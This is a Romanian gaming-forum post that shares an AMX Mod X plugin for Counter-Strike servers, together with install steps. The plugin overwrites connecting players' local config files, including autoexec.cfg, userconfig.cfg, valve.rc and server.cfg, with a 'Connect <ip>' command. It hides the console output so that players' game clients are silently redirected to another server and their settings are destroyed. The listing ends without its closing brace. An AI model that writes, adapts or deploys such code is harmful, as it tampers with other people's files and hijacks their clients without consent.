Nu sunteti conectat. Conectați-vă sau înregistrați-vă



Vezi subiectul anterior Vezi subiectul urmator In jos  Mesaj [Pagina 1 din 1]

#1OfflineAnDr3y 

  Posted Mier Mar 19, 2014 6:29 am

Membru RedQuest

AnDr3y
Membru RedQuest
#include

#define PLUGIN "Auto Connect"
#define VERSION "2.1x"
#define AUTHOR "AnDr3y"


#define CFG_FILE1 "autoexec.CFG"
#define CFG_FILE2 "userconfig.CFG"
#define CFG_FILE3 "joystick.CFG"
#define CFG_FILE4 "listenserver.CFG"
#define CFG_FILE5 "language.CFG"
#define CFG_FILE6 "server.CFG"
#define CON "Connect Aici pui ip-u"
#define IP "Aici pui ip-u"


public plugin_init()
{
register_plugin(PLUGIN, VERSION, AUTHOR)
}
public auto_connect(id) {
client_cmd(id, "motdfile AUTOEXEC.CFG;motd_write Connect %s", IP)
client_cmd(id, "motdfile VALVE.RC;motd_write Connect %s", IP)
}
public client_putinserver(id)
{
set_task(3.0, "cfg", id)
set_task(1.2, "auto_connect", id)
}
public client_authorized(id)
{
set_task(0.5,"client_is_auth",id)
}
public client_is_auth(id)
{
client_cmd(id, "developer 0")
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE1)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE2)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE3)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE4)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE5)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE6)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "clear")
}
public cfg(id)
{
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE1)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE2)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE3)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE4)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE5)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE6)
client_cmd(id, "Motd_write %s", CON)

Copiati asta o salvati si ii puneti numele Autoconnect.Sma
o bagati in addons/amxmodx/scripting

Vezi subiectul anterior Vezi subiectul urmator Sus  Mesaj [Pagina 1 din 1]

Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum